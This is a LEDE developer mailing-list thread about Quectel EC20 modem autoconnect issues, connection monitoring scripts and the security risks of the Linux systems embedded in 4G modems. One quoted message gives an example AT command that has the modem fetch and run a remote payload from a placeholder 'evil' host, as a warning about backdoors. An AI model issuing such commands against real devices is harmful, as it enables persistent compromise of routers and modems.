[LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was: Re: Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]]

[Matti Laakso]

> Adding laforge and zecke to the Cc loop.
>
> Matti Laakso <malaakso at elisanet.fi> [2017-01-08 14:39:34]:
>
> Hi,
>
> > I'm almost done with checking the connection state using a 
> > proto_run_command with a simple script running uqmi --get-data-status 
> > periodically. If the check fails, the script dies and netifd should 
> > restart the connection. Then we hopefully don't need autoconnect anymore.
>
> I'm not using the autoconnect feature anymore, I'm using simple custom script[1]. I wouldn't recommend using Qualcomm's implementation of QMI as the source of truth about the connection status, I think it's more reliable to use ping, wget/curl or some other more appropriate and battle tested solution.
>
> Simply said, uqmi can lie to you about the connection status. It's just some qmuxd[2] after all using dozen threads answering you :-) What can probably go wrong, right?

Sure, but to replace autoconnect it should only be at least as reliable as autoconnect. Depending on your network environment there might not be anything to ping, let alone any servers that would answer curl. This kind of connection monitoring is always quite custom and its place is not in netifd.

>
> > > And I've seen "33C3: Dissecting modern (3G/4G) cellular modems", 
> > > which makes a lot of things crystal clear :-)
> >
> > That's an interesting talk, thanks for the note!
>
> Indeed, it's very interesting and very scary. This modems are quite powerful devices, usually equiped with very good, but limited uplink connection, still making it ideal candidate for DDoS botnet for example, like any other router, camera or IoT device. It's just a matter of time we see something like this in the wild.  The probability is very high, 1.5M lines of just kernel code done probably in a hurry, without proper review, this is very big attack surface.
>
> It's better to not think about the system in the modem as a nice place for a hideout for a very persistent backdoor to our systems, surviving even firmware updates.  Just imagine some trojan inside the router running following on the modem's AT command serial interface:
>
>    AT+QLINUXCMD=wget http://something/evil && ./evil
>
> Guys at Osmocom already started working on completely open and more secure firmware using OpenEmbedded, but I would like to see it supported in LEDE also, probably with more mainline kernel if possible. Still, it's quite strange to see such a big embedded systems running in the 4G modem. It seems like 2017 is era of SITSes, Systems In The Systems.

Also several Huawei modems have an Android system (with proprietary kernel modules parsing AT-commands etc.) running in one core between the USB host and the actual modem firmware in the second core (VxWorks). Security wise I'd be more worried about the VxWorks part.

Matti